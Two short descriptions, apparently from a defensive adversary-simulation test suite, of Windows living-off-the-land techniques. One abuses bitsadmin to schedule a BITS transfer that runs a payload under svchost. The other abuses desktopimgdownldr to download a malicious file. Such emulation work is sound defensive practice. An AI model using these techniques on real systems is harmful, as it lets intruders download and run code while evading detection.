    This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps.
    Note that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable.
    This has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of "svchost.exe" and an Initiating Process Command Line of "svchost.exe -k netsvcs -p -s BITS"
    This job will remain in the BITS queue until complete or for up to 90 days by default if not removed.

    This test simulates using desktopimgdownldr.exe to download a malicious file
    instead of a desktop or lockscreen background img. The process that actually makes 
    the TCP connection and creates the file on the disk is a svchost process (“-k netsvc -p -s BITS”) 
    and not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/
